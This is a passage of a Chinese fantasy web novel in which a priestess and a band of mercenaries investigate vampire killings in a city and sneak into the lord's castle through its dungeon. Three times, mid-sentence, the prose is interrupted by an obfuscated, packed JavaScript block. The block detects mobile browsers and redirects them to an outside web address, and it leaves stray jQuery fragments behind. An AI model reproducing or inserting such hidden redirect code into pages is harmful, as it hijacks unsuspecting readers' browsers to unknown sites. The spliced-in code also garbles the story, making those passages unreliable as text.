但是汤米再也没有回来。 从那以后，劳拉一夜之间就白了大半的头发，时不时就会莫名其妙地失声痛哭。后来，情况稍有好转，她开始将慈母沉痛之心寄托在敬奉神上，希望能让汤米在天父的神国中获得救赎和新生。 只是现在，她越加不安，越是忍不住向天父祈祷，就越是难以抑止地想到汤米。 她的好孩子汤米…… 笃、笃、笃。 “妈，你在吗？” 劳拉猛地起身。她不会听错，是她的好孩子汤米的声音！ 她冲出房间，四下寻找着声音的来源。像是为了提示她一般，那个声音又急切地说道：“妈，让我进去行吗？让我回家，行吗？妈，我好想家。妈，我在这里……” 笃、笃、笃。 敲击的声音从窗边传来。劳拉向着走廊尽头的窗户走去。 奇怪，这里明明是二楼，汤米为什么会在二楼的窗户外面呢？ 但是，来不及想那么多，劳拉便猝不及防地看见了汤米的面孔。背对着那个圣光构筑的囚笼，他向她甜蜜地微笑着，像小时候他喊她“妈咪”时一样。他看起来面色有些苍白，还有些痛苦，这一定是游子多年在外的辛苦与思乡病造成的，劳拉想。汤米又开始敲击窗户，声音更加急促：“妈咪，妈咪，求求你，求求你让我进去吧——” 忽略一切，忽略所有不合理。毫无疑问，她的汤米回来了，她要迎接他—— 劳拉打开窗户，带着沉醉的笑容张开双臂将自己心心念念的孩子迎回家门。窗外，长相和汤米完全不同的男人嘴角咧到耳根，露出一排细密的尖牙！ 劳拉挣扎了一下，很快便没了动作。许久，男人松开手，她一下子摔在地上，身上一切生命体征都在流逝。不过没关系，过不了多久，她又会重新站起来，去寻找她的丈夫，让他也能分享她所沐浴的荣光。 十字念珠掉在走廊上，毫无光泽。 萝丝放下刀，吐了口气。薇薇安赶忙问道：“怎么样？” “我没法说这是好还是不好。不过有一点是肯定的：这个人并非死于黑死病。他是被饿死的可能性更大一些。” 听出萝丝话语中的凝重，两人都拍拍她的肩膀。她点点头，解释道：“一般黑死病人的尸体会因为皮肤广泛出血等原因呈现出黑紫色，很明显不符合这名死者的状况；而我解剖了这位先生后，发现没有器官产生严重的病变，也没有其他肿块什么的；再加上他头发稀疏，皮肤很薄，应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992442|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是饿死的没错了。当然，也不排除其他可能，但是我没有学得那么深入，就不清楚了。” 薇薇安安慰道：“没关系，你已经做得很好了。现在先去休息吧，明天我们再接着调查疾病的事。” “好，尸体的处理，麻烦你们了。” 嘴上这么说着，萝丝却还是忍不住多看了尸体几眼。有什么地方隐隐让她感到违和，但又说不清楚。最终，她还是摇摇头，向两个人道晚安。 索恩和薇薇安点点头，三人各自回房间休息。一夜无话。 第二天，萝丝是被雇佣兵们说话的声音给吵醒的。虽然他们显然压低了嗓音，但还是有一些字句流进了萝丝耳朵里。 “……是一对夫妻。” “听说是邻居上门借搅拌器时才发现的。似乎死亡时间是在半夜里。” “没说死因吗？” “医生说死因很蹊跷，基本可以算是没有死因。他似乎认为是白天受到了惊吓。” “然后在几个小时之后才心脏停跳？” “呃，所以说不通。也许我们可以让……” “还是算了吧，把下葬的尸体挖出来可是相当麻烦。” “……怎么了吗？” 萝丝撑着手臂坐起来，看见所有人都在房间里，围在薇薇安的床边。约瑟夫哈哈一笑：“起得很早小姑娘，现在才早上十一点。” 萝丝顿时感觉脸上一热，有些不服气地反驳道：“你们可以叫我起床嘛。” “没关系，大家只是想让你多休息一会儿而已。”薇薇安立马出来打圆场，“对了，我们早上在公墓安葬那个死者时，遇上了另外一家人出殡。” “嗯，其他的我都听到了。很可疑，对吗？” “是。虽然听起来和黑死病关系不大，但是也值得我们查证一下。” 萝丝点点头：“一切疫病相关的征兆都值得我们去关注。这样，我们可以分成两队，一队人去城市收容所找医生，一队人去那对夫妻家附近走访。可以吗？” 雇佣兵们纷纷表示赞同，起身向外走。萝丝突然想起了什么：“等一下。我们可能忘了最重要的事情。” 索恩转回身：“还有什么更重要的事吗？” 萝丝天真无邪地坏笑了一下：“当然是钱啊。索恩先生，这不是你一向最看重的东西吗？” 索恩意识到了自己人设没凹住，“啧”了一声别过脸。其他人闻言也多少有些惊讶，纷纷看向萝丝。 只见她从床头拿出自己的钱袋，抓着底部把里面的东西全部倒出来，“哗啦”一声，四五十枚金币一下子在桌面上堆成小山。 “这就是我全部的现金了，”萝丝抬头，目光扫过他们所有人，“你们先把这些分了吧。如果不够，我还有一些魔法石和草药可以去当铺里当掉。” 金灿灿的钱币几乎刺得人晃眼。约瑟夫叹了一声：“我们是唯利是图，但还不至于到要打劫一个小姑娘的程度。” “更何况，我们现在所做的努力也是为了我们自己的生存。”一向不开口的艾尔补充道。 萝丝眨了眨眼，低下头：“我只是想，钱虽然无法弥补什么……你们就当这是我的赎罪券吧。” 听见这个词，雇佣兵们交换了一个诧异的眼神。最后，薇薇安开口：“事成之前，先付一半。其余的你先留着吧。” “以及，收钱办事，”索恩补充道，“我们会用生命捍卫，你得到救赎的权利的。” 8. 第 8 章 草草吃完午餐，“野火”小队和萝丝分成两组行动。一组由薇薇安带着去走访居民，另一组则由萝丝带着去寻找医生。 几乎走遍了三条街，萝丝几人才找到了阿德玛城唯一的一位医生——上过大学、受过良好教育，并且不兼职理发的医生。 他是个看起来十分儒雅的中年男人，彼时正坐在酒馆角落里喝着他的餐后酒，看起来有些忧郁。 萝丝比对了一下其他人的描述，确定了目标无误，便走过去坐到了医生的对面。“您好，可以占用您几分钟的时间吗？” 医生放下酒杯，看着萝丝人畜无害的笑脸，和她身后肌肉虬结的凯里和带着半脸皮质面具的索恩，表示出明显的疑虑：“你们有什么事吗？” 萝丝赶紧讲明来意，并且将一枚银币无声地放在桌子上推过去。 医生没有拿，眼睛盯着萝丝，点点头：“这并不算是什么不可告人的事。反正维拉——可怜的劳拉的邻居，也迟早会把这些事传得人尽皆知的。只是，恐怕我说不出什么门道来。这一对夫妻的死因都是失血过多，但是身上没有明显的创口，似乎也没有家族病史。要我说，他们也许是白天被惊吓过度才走的。谁知道呢。” “可是，两个人同时惊吓过度死亡不觉得很奇怪吗？您有对内脏做过检查吗？” “很遗憾，我也很想这么做，小姑娘。但城市法庭不允许。” “哦……这件事还惊动了市长？” 医生低沉地笑了笑：“你以为劳拉夫妇只是个例吗？今天早上我们至少安葬了八个人。而且，不知道为什么还一个能行涂油礼神官都找不到了。再加上昨天的异状，市长还要想办法安抚民众，现在也焦头烂额得很。” “八个人？”萝丝显得相当吃惊，但并非全部来自于演技，“一个晚上有这么多人出事？这会是什么传染疾病吗？会是黑死病吗？” 医生哑然失笑：“想什么呢？黑死病已经好几十年没有出现在这片大陆上了，怎么可能突然在这座小城里爆发。而且，黑死病的特征很明显，如果有出现，我不可能注意不到。怎么了，你不是本地人吧，怎么对这个这么感兴趣？” “哈哈，的确不是。”萝丝做势苦笑了一下，“我是一个药剂师，路上听说这座城里有什么大型疫病，就想着来这里能不能挣两个钱。唉，结果被忽悠惨了。” 医生叹了口气，摇头道：“果然是年轻人，听见这种事还不赶紧跑只想着挣钱。听我的，小姑娘，下次再遇到这种事，有多远跑多远。瘟疫能吞噬无数人的生命，可不是闹着玩的。” 也许是同时想到了“还能不能有下次”的话题，两个人都沉默了。最后，见也没什么好说的了，萝丝便起身告辞。医生沉默了一下，又把她叫住。 “坦白来讲，小姑娘。你一个人出门要注意些。”他压低了声音，“就是你身后那两个人骗你来这里的，对吧？这年头大家出门都希望能有个药剂师在身边，凉薄自私的人更是到处都是，你要小心点。而且，现在是乱世，你一个外乡人不要管太多。万一被当成女巫抓起来烧掉，可就没钱可挣了。” 说着，他站起身，指指桌上的银币：“这钱你还是自己收着吧。注意安全。” 萝丝坐着，目送着他在吧台结过账，慢慢地走出去。 阿德玛城里没有“石墙”酒馆，所以萝丝一行人便随便选了个还开着张的酒馆碰头。 酒馆里几乎没有人，也没有酒保。只有一个垂头丧气的老板坐在柜台后，不时神经兮兮地祈祷几句。 “这座城市的人是都在祈祷吗？”薇薇安一口干了一杯啤酒，抱怨道，“我今天一上午至少听见了三十句‘圣父保佑’，还不包括那些真正的祈祷。这种情况，求神有什么用吗？” “呵，更别提这种情况还是神的使者造成的。”索恩补充道。 “神殿这帮狗娘养的——”约瑟夫说到一半顿住了，小心地看了萝丝一眼，岔开话题，“那你们这边有什么收获吗？” 萝丝摇头：“几乎没有。”她把和医生的对话复述了一遍，又问道：“你们呢？” “也不太好。这个时候发生这种事，人们都不怎么愿意交谈，”薇薇安叹了口气，“更何况是我们这种外来者。我们搜集到的有效信息只有一点。” “第一，是劳拉房子里门窗都上了锁，只有二楼的窗户开着。她的万事通邻居维拉，发现尸体的那位，告诉我劳拉有天黑后紧闭门窗的习惯，所以那扇窗户有些可疑。” “第二，是劳拉夫妻俩的表情都很安详。尤其是劳拉，像是看到了什么美梦成真一样，脸上笑得相当灿烂。这可不像是因为惊吓致死的样子。” “第三，这两夫妻此前有一个孩子，不过在之前的战争中被征召入伍，然后战死在外。据说此后劳拉就变得几乎失魂落魄了一般。直到她狂热地投身于宗教中这种状态才有所好转。说实在的，我看不出这条消息有什么意义。 “第四……没有第四。” 薇薇安叹了口气：“别这么看着我萝丝，真的只有这两条。其他的几乎都是一些无用的呻吟和抱怨，还有人不停地追问我们的身份。所有人都被那东西吓坏了。”她指了指天空，“恐怕要等上一段时间才能看到他们恢复理智。” 萝丝叹了口气：“我明白的。只是事情的发展让我很，不安。也许我们可以去试试说服市政厅的人允许我们开馆验尸。” “可以一试，”索恩耸耸肩，“但别抱什么希望。” 果然。 他们一行人几乎没有和官僚机构打交道的经验，理所当然地全军覆没了。 萝丝进去市政厅没多久就被轰了出来；薇薇安差点因为一个手脚不干净的职员而大打出手；约瑟夫更是直接被威胁“把你这个臭烘烘的雇佣兵抓进去”。至于其他人，几乎没有什么正常的社交能力，干脆都没有进行无谓的尝试。 “所以，都不成功？”索恩看着垂头丧气的三人，挑起眉毛。 薇薇安翻了个白眼：“你可以自己试试。算了，此路不通，想想别的办法吧。” 从被赶出来之后就一直心不在焉的萝丝忽然开口：“其实我正好有点好奇。也许我们可以换一个方法。” “什么方法？”其他人都看过来。只有索恩一个人问：“好奇什么？” 萝丝眼神忽然变得坚定：“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992443|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个方法有些冒险，不过成功的概率也很高。试试吗？” 直到晚上，雇佣兵们才知道萝丝说的“冒险的办法”是什么。 此刻，薇薇安、约瑟夫、索恩和艾伦站在白天刚来过的公共墓园中，面带无奈，看向萝丝的眼神都变得有些怪异。 这真的是一个刚成年的女神官应有的思路吗？偷偷刨人家的新坟？ 今夜的月亮半圆，光芒被云雾遮了大半，显出些惨淡的青白色来。阴寒的风带着潮气一阵一阵吹过皮肤，让人不禁汗毛倒竖，脊背生凉。野草衬着一块块并不规整的石碑，在这样的月光与寒风中，平白染上了瘆人的意味。 萝丝站在这样的环境中也颇有些不自在，尤其是想到刚才在惊险中避开了夜巡的骑兵和守墓人又翻墙才进了墓园，她的心跳便不由自主地剧烈起来。但这种心跳的过速也让她兴奋。想到自己接下来的计划，萝丝镇定下来一点：“那，我们该怎么走？” “这边。”约瑟夫把魔灯从斗篷底下拿出来一些，走到前边领路。 魔灯中的火焰是以魔力为燃料燃烧的，而魔力则来自于魔灯底部镶嵌的魔法石。只要通过一两个小旋钮就可以调整火焰的焰色和光线的大小，而且光线稳定也不用担心风吹，相当的便捷。 所以，不仅仅是神殿和贵族，黑市上也在大量仿制并出售这种魔灯。而这种由神殿制造的品质上乘的魔灯更是大受欢迎。约瑟夫擅长追踪，所以在战利品中挑中了这盏魔灯。没想到第一次用上居然是在这样的环境下。 而且焰色还被调成了幽幽的绿色……萝丝不禁把斗篷裹紧了一点。 “应该就是这里。” 约瑟夫弯下腰，把魔灯调亮了些。 灯光照亮石碑上新鲜的刻痕，劳拉的名字工整得有些晃眼。几人对视一眼，点点头，然后索恩和艾伦取出斗篷下铲杆锯短了一截的铲子，开始将新填上的薄土一点点挖开。 终于，两具棺材的棺材面显露出来，随之是四角和两侧的扶手。 一旁的薇薇安和约瑟夫也走上前，弯腰握住一具棺材的两侧提手，一使劲将棺材提了上来。 “怎么样？”萝丝察觉到两人面色不对，“怎么了吗？” 另一边索恩和艾伦将另一具棺材也提了上来。 “重量不对。”艾伦脸色微变，抬手在棺材壁上扣了扣，轻快的“咚咚”声传来。“听，里面似乎是空的。” 其他人闻言都变了脸色。索恩二话不说将铲子一头插进棺盖缝隙间，几下撬开棺盖。这下，大家的脸色都不太好看了。 棺材里空空如也。 约瑟夫大声地倒吸了口凉气，不信邪地撬开了另一具棺材的棺盖。同样，空空如也。 “这……什么情况？”薇薇安罕见地表现出些许担忧的神色。 萝丝也感到由衷的恐惧，但不是因为未知，而是因为已知。 她走上前，将一扇棺盖翻过来。恰巧此时，云雾散开，月光漫洒，所有人都分明看到，棺盖背面一道道深深的抓痕。 突然，乌鸦振翅的声音划破天空，紧随而来的是一声嘶哑的呼喊声：“什么人！什么人在这里？” 9. 第 9 章 是守墓人！ 几人对视一眼，当即向着最近的围墙跑去。年迈的守墓人追不上他们，气得举起手里的火把声嘶力竭地大喊：“来人啊！；来人啊，有人偷尸体了！” 嘶哑的声音惊起一片飞鸟，围墙外也传来了整齐划一的脚步声。约瑟夫干脆把魔灯往斗篷里一卷，借着月光向前穿行：“跟着我！” 几人立马跟上，小心地借着月色辨别着脚下的道路。奈何身后守墓人紧追不放，前方的光线又实在是黯淡。萝丝忽然惊呼一声，整个人向前栽倒下去。 “还好吗？你没事吧？” 跑在她身边的艾伦一把拉起她。萝丝虽然坚持说自己没事，脸色却十分苍白。月光下，依稀可以看见她的脚踝上一块醒目的红肿。 在队伍末尾殿后的索恩已经来到了她身边，不耐烦地皱了皱眉，一弯腰把萝丝扛上肩头：“走！” 其他人点头，默契地变换了队形，将扛着萝丝的索恩夹在中间，艾伦则在队尾殿后。萝丝因为视角突如其来的变化而有些晕眩，乖巧地伏在索恩肩头，手紧紧揪着他的衣服，眼睛紧张地盯住墓园大门。 突然，墓园大门被粗暴地撞开。一整队全副武装的士兵冲了进来，手中长枪对准了他们的方向。为首的那人手里端着火枪喊话道：“停下！所有人双手抱头蹲下！不然我们就开枪了！” “不用管他们！”薇薇安一遍疾跑一遍低声道，“这个距离他们打不中的，跑！” 见喊话不管用，士兵们立刻按队形分散开试图包抄他们。萝丝听见几声枪响，但连子弹的影子都没有看见。 接近围墙，约瑟夫双手攀住墙头向上一拉便将自己拉上了墙头，再按住墙头翻身一跃，整个人便消失在墙的另一侧。薇薇安也如法炮制，到了墙的另一侧后吹了声口哨，索恩会意，双手托住萝丝：“接着！” “等——啊啊啊啊啊啊啊！” 伴随着萝丝的惊呼，薇薇安轻松接住了她，接着索恩和艾伦也翻了过来。这里是一条肮脏的后巷，道路狭窄，两头不知通往什么地方。几人还没来得及松一口气，就听见小巷两头都传来同样的脚步声。 “这在里！” “包围他们！别让他们跑了！” 约瑟夫对着小巷两头冒出来的光亮做了个鬼脸，转身问薇薇安：“大姐头，现在怎么办？” 薇薇安则看向萝丝。后者咬着嘴唇想了想：“还是只能突围。” “好，”薇薇安站起身观察了一下小巷，“就从这边出去吧。索恩，还是你来带萝丝。我来开路，凯里殿后！” 其他人纷纷应声抽出武器。唯独索恩低下头看了萝丝几眼，神色暧昧不明。萝丝被他看得不安，刚想问为什么，却又是一阵天旋地转被索恩扛上肩头。 “冲！” 小巷一头的士兵没想到里面的人还会负隅顽抗，被打了个措手不及。薇薇安用刀背磕开周围的长枪，又反身一脚踢倒了端着火枪的士兵，在包围中撕出一个小小裂口。 “快，跟上！” 追兵从小巷的另一头围堵过来，索恩扛起萝丝，挥剑挡住袭来的长枪，向前冲去。可就在此时，他肩头的萝丝突然挣扎了一下，险些让索恩重心不稳摔倒在地。他单手按住萝丝一边格挡士兵的攻击。后面的士兵已经赶了上来，和艾伦缠斗在一起。又有不少人绕过了艾伦，涌向索恩和约瑟夫。两人左支右绌，尤其是还带着失去行动能力的萝丝，更是有些难以招架。前方的薇薇安几乎已经冲出了重围，看见他们被困在包围之中，又只好冲回来重新和士兵们打作一团。 而就在这时，萝丝卡着其他几名雇佣兵的视角，再次狠狠挣扎了一下。 “你——唔！” 这次索恩真的被她带倒了。相应的，萝丝也摔了出去，重重地撞在了小巷的墙上。周围的士兵们当然不会放个过这个机会，一拥而上制服了索恩。萝丝爬起来刚想装模作样地挣扎几下，一回身便撞在了带队的那名士兵身上。只见他手中火枪转了个方向，枪托朝着自己的后颈重重敲下来！ 哎呀。 萝丝感到意识瞬间沉沦，在昏过去的前一刻，她想，抱歉了…… 直到有一只大胆的老鼠几乎要爬到萝丝身上，她才悠悠转醒。身后靠着的是潮湿发霉的石墙，空气中弥漫着潮气与臭味，没有光线，可见度极低。她不禁打了个喷嚏，揉揉鼻子。 这种像“回家”一样的感觉很不好受。她检查了一下身上的东西，摸索着站起身，向空中问道：“有人吗？” 没有回答，只有她自己的声音在空荡荡的回响。 她又大声问了一遍，没有任何回音。很好，看来是没有人。 萝丝低喃一句咒语，指尖闪出荧光，照亮了整间不大的囚室。这是一间相当狭窄的石室，没有窗户，只有一面铁栅栏墙可以透进来些许外面的空气。萝丝举着手找了一圈，确信自己是在地牢里，接着满意地点了点头。 铁栅栏门是用几根成人小臂粗细的铁链锁上。萝丝摸索了一会儿，没摸到挂锁，索性收回手从腰间摸出一把小银刀，手一抖，刀锋上立刻放出刺目灼人的圣光。她用这把刀在铁链上划了一下，铁链应声而落。 萝丝收回手，舒张五指，吐了口气。这种强度的魔法还在可接受范围之内，很好。她又弯下腰用光愈术治好自己肿胀的脚踝，活动了一下，走出囚室。 这里的地牢和其他地方大差不差，都是呈环形盘旋向下。萝丝估计了一下自己的战况，猜测自己会比其他人关得更上面一点，于是扶着墙壁一点点向下走去。 但愿这个时候市政厅还忙得不可开交没工夫管我们，萝丝暗想。 地牢里几乎没有囚犯，相当安静。往下走了百来步，她才找到关押着索恩的那一间。 男人修长的腿在囚室中不得不憋屈地收起，再加上他抱着的双臂，看起来有一种无言的恼火。萝丝有些愧疚，隔着栅栏门轻轻唤道：“索恩？” 男人没动，也没理她。不知是睡着了、昏迷了，还是单纯不想理她。萝丝扁扁嘴，迅速用小银刀切断铁链推门进去：“索恩？” 她一点点挪到索恩身前，指尖的荧光照在男人身上，使他深邃立体的五官从阴影中浮现而出。摘了面具、闭上眼的索恩看起来少了不少侵略性，而更多了几分矜贵傲然的气质，这也让他二十多岁的年龄更加明显地体现在了脸上。这样的索恩相当罕见。萝丝不禁多看了几眼，突然，索恩毫无征兆地睁开眼站起身，将她整个人笼罩在他的阴影中。 “或许你可以解释。”他愤怒的金色瞳孔锁定了她。 萝丝下意识地后退了一步：“呃，我真的可以解释——” 索恩把她捏着脸抵到了墙上：“你让我回忆起了最糟糕的过去。” “唔很抱券——” “而且我受够你自作主张的小聪明了。” 索恩的金瞳居高临下地瞪着她，眸光冰冷却又满含着怒意。愧疚感一下子涌上来，让她哑口无言。她见过中央神殿的地牢是什么样的，但从不敢想象在里面待上十天半月又会怎样。索恩说的没错，这会让他想起那些比地狱还可怕的过去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992444|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她垂下手，指尖的荧光闪了一下，熄灭了。 “抱券……” 一片漆黑中，索恩只听见萝丝细如蚊声的声音从他的手掌下传来。啧。他狠狠地咬了咬牙，却连狠话都说不出一句。 换成其他雇主，哪怕只有一次这样给他挖坑跳，他绝对早都翻脸离开甚至背后捅刀子了。可偏偏对着这个个子还不到自己肩膀高的小姑娘，他完全下不了狠心。不知为何，他只要看着这个不谙世事的家伙，就会不由得担心她会受到这个世界的伤害。就像是他看着自己资助的孩子们一样，无可救药的保护欲总是从心底里窜出来，长得遮天蔽日。 他丢开手，狠狠道：“等会人齐了，你最好能给出个令人满意的解释。” “嗯，”萝丝低声应道，“真的很对不起。你有受伤吗？” “没有。走吧。” 很快，萝丝把其他三人也从囚室中捞了出来。一行六人站在狭窄的过道上，打量着彼此。 “好吧，现在是什么情况？”薇薇安叹了口气，扶住额头。 索恩的目光毫不留情地看向萝丝。后者缩了缩脖子：“那个，抱歉，我坦白。” 其实，在墓园里看到棺材空了的那一刻起，她就有了这个计划。 “我发现我可能搞错了。神殿打算在在阿德玛城散播的可能并不是瘟疫，而是——吸血鬼。” “吸血鬼？”艾伦瞪大了眼睛，“你是说，真正的，会半夜醒过来变成蝙蝠吸别人的血的德古拉公爵吸血鬼？” “呃，大概是这样。”萝丝摸摸鼻子，“神殿曾经有过几分机密档案中记载过被吸血鬼吸血而死的尸体的状况。其中最典型的几点特征就是：失血过多而死，没有明显外伤，而且，死去的人会在夜晚复活。还有一个相当重要的特点，就是在袭击前，吸血鬼必须收到邀请才行。还记得劳拉家里那扇打开的窗户吗？恐怕，这就是某种邀请的象征。” “这整个起事件的描述就让我觉得有点熟悉，而昨天晚上的空棺材则是确实地让我回忆起了这一点。现在基本可以确定，劳拉夫妇是被吸血鬼杀害的。” “而普通人大概很难想到这一点，想到了也不大可能当真。所以在这一点上我们很难和市政厅沟通。” “而结合神殿中的人已经提前离开了这一点来看，领主可能也已经提前与神殿进行过交涉。那么只有两个可能，一是领主已经离开，这样的话我们或许可以找到一些他与神殿通讯的相关证据来说服市政厅开展应对工作，或者是直接找到什么相关的信物来一定程度上命令市政厅。” “又或者，领主没有离开，只是，处于某些原因他没有出面。而以我现在的魔力流失速度，我们或许还能够通过武力胁迫他与我们合作，找到破局的办法。呃，至少，我是这么想的。所以我认为进入城堡可以给我们提供很关键的帮助，就在墓园里故意让自己的脚被崴到，然后……就是现在这样了。” “所以，你在我们在墓园里被发现到崴脚的短时间内想到了这么多？”薇薇安看向她的眼神带上了毫不掩饰的欣赏，“你又一次改变了我对你的认知。” 萝丝不好意思地笑了，眼神中却有一丝丝得意：“也不算吧。其实我早就想过要找领主谈一谈了，只是墓园的事恰好给了我一个契机而已。” “等一等，”艾伦出声打断，“你说了这么多，我完全没听懂。我只想知道一件事情：我们要找领主，和你把我们弄到这里来有什么联系吗？” 萝丝狡黠一笑：“当然有。不然，你以为你现在正站在哪里呢？” 10. 第 10 章 阿德玛城堡，领主的居住地。 曾经，这里是一座要塞，是抵挡来自西北方向的敌人的一座哨所。而后来随着帝国的统一，这座要塞慢慢失去了其原有的功能，演变为一座普通的城堡。但是由于各种因素，它仍然保留了相当一部分较为古老的传统设施。比如，建在城堡之下的地牢。 “要塞底下关几个犯人又不是什么稀罕事，”薇薇安有些嫌弃地拍拍艾伦的头，“别张着你那大嘴了，小心苍蝇飞进去。” 艾伦小声嘀咕道：“可是，没有什么别的办法让我们进去吗？这个也太粗暴了……” 萝丝叹了口气：“没办法，这个城堡作为要塞，从外面潜入的概率很低，还容易被发现，只有让他们自己把我们放进来才是最好的选择。” “这哪是放，这是关进来……你说，我们离开这么久，凯里和艾尔他们会不会担心啊？我出门之前还和艾尔吵了一架，也不知道这家伙现在后悔了没有……” 他一路唠唠叨叨说个没完，只有约瑟夫听着他的话，偶尔插两句嘴。而走在前面的索恩和萝丝高度戒备着前进，同时，因为这座地牢里没有狱卒而感到相当意外。 “也许是因为外面的确太忙了，连管我们的功夫都没有。”萝丝叹了口气，“希望我们能尽快得到我们想要的东西离开。每过一个夜晚，外面就会有更多人被吸血鬼袭击。” 索恩看了她一眼：“再快也来不及了。你觉得你昏迷了多久？” 萝丝刚想回答，下一刻却被眼前的景象震撼：落日在天边铺陈开血红一片的帷幕，阿德玛城的建筑在夕阳下连绵成一片黑色剪影。 地牢的阶梯向上一直通向城堡荒废的围墙。现在，他们正站在高高的围墙之上，俯瞰这一整座城市。 “……我昏迷了这么久吗？” 薇薇安爬上城墙，答道：“显然是这样。所以，我们得速战速决。就像你说的，每过一个夜晚，就会有更多人受到伤害。” 所有人都凝重地点点头。“这边走。”约瑟夫粗略观察了一下地形，领着众人向城堡主楼走去。 城墙尽头有一扇小门通往城堡内侧。门锁已经锈得不成样子，被索恩一脚踹开。霉味和灰尘扑面而来，萝丝又打了个喷嚏，揉揉鼻子：“这里已经多久没有被用过了？” “简直就像童话故事里的魔法古堡一样。说不定有狮子头的王子住在里面哦？”约瑟夫笑道。 薇薇安翻了个白眼：“依我看，里面有倒吊着的老蝙蝠更实际一点。走吧，别废话。” 从外观上看，这座城堡是不折不扣的哥特式建筑，其内部也同样如此。高高的天花板上吊着蒙尘的枝形水晶吊灯，长长的走廊上长绒地毯已看不出原有的颜色。走廊两侧墙上挂着的一幅幅肖像，因为潮湿的空气而变得面目模糊，似乎正不怀好意地盯着这群外来者。 “这里怎么一个人都没有……好安静。”艾伦嘀咕道。 萝丝点头：“也许，领主已经走了。对了，我们这次被关进地牢的时候，身上的武器是不是都被没收了？” “大件的都没了，小件的贴身的还在。他们没工夫管我们，所以没有搜身。”薇薇安答道。 “我明白了。”索恩挑挑眉，不知何时又带上的面具掩盖了他的笑容，“既然这里的主人已经不在了，找他借点东西应该也没问题吧。” 雇佣兵们立刻懂了他的意思，一个个兴奋起来。“正好，我还没用过领主的武器呢。”约瑟夫摸着下巴笑了，“想必品质比黑市上要高出好几个档次吧。” 他们在城堡中穿梭探索，经过了一间间舞厅、餐室、娱乐室与书房。无一例外，这些房间都被一层厚厚的灰尘掩盖，而且厚厚的天鹅绒窗帘遮挡住每一丝阳光，使得城堡内部阴森昏暗，完全不像是活人的居住地。即使萝丝指尖的荧光能点亮整个房间，那种被黑暗包裹的感觉依旧挥之不去。 也许只是这里的领主不怎么来这一块区域转悠？萝丝不停地自我暗示，但不怎么成功。此时，这座城堡里住着一只老吸血鬼的想法越发变得可信起来。 在第无数次推开房门并被灰尘扑了一脸之后，他们终于找到了存放武器的仓库。谢天谢地，这里是一间干燥通风的石室，似乎灰尘也没有那么厚重。 “没人，近期似乎也没有人活动的迹象。没问题，进来吧。”约瑟夫率先踏入石室。 石室不宽，却相当幽深，而且东西摆放得杂乱，似乎这里的主人从不曾上心打理过这里。一张褪色的三色挂毯前立着一套已经生锈的盔甲，盔甲手中的长剑却仍闪闪发光。薇薇安随手拔出长剑，吹了声口哨：“精灵铸剑，阔气！” “这副盔甲还是艾德文一世时期的呢。”索恩弹了弹盔甲的面罩，“这剑根本配不上这幅盔甲。” “你就是嫉妒。”薇薇安笑了。 另一边，约瑟夫翻出了一盏油灯点亮，艾伦则找到了一柄趁手的猎刀，和约瑟夫显摆着。萝丝也从墙上取下了一把银白色的迅捷剑，剑身上爬满黑色细纹。 她一抖剑，魔力顺着细纹流淌，剑身瞬间绽放出瑰丽的红光，充盈了整间石室。 “哇哦，酷！”艾伦竖起大拇指。 “必须的。”萝丝有样学样，也比了个大拇指给他。 再向里，武器开始向热兵器过度。一个泛黄的玻璃柜里，一把枪身雕满了寓言故事图案的燧发枪便吸引了萝丝的注意力。等她好不容易强迫自己把视线移开，就听见不远处索恩近乎梦呓般的声音：“天啊，小美人。” 啊？萝丝回过头，只见索恩站在一只巨大的箱子便，满脸美梦成真的表情注视着箱子。一旁的薇薇安走到他身边，低头看去，也不禁发出由衷的感慨：“天，整整一箱小美人。” “什么？”萝丝吓了一大跳：“箱子里有人？活人吗？” “什么，天啊，当然不是。”薇薇安大笑起来。索恩也低低地笑了一声，俯身从箱中捞出一件物什扔给萝丝：“‘小美人’，好看吗？” 萝丝下意识接住，低头一看，居然只是一把左轮手枪。似乎是看出了她的无语，薇薇安补充道：“这可不是普通的枪，这是眼镜王蛇象牙柄左轮！而且，这手柄上雕刻的是古代圣女狩猎的场景，应该是当年由设计大师半精灵莱雅设计出的第一批‘眼镜王蛇’。天，这枪在一个世纪以前就已经绝版了，每一支现存的都能炒上天价。可这里居然有整整六支！” 虽然听不太懂，但萝丝对半精灵莱雅还是略有耳闻。出于对这个名字的尊重，她点点头，小心地把这支枪也收好，和之前的战利品左轮贴身放在一起。 那边索恩已经指挥着其他两人瓜分了这几支枪，开始寻找子弹。在墙角的一只一人高的巨大木柜中，他们找到了一盒 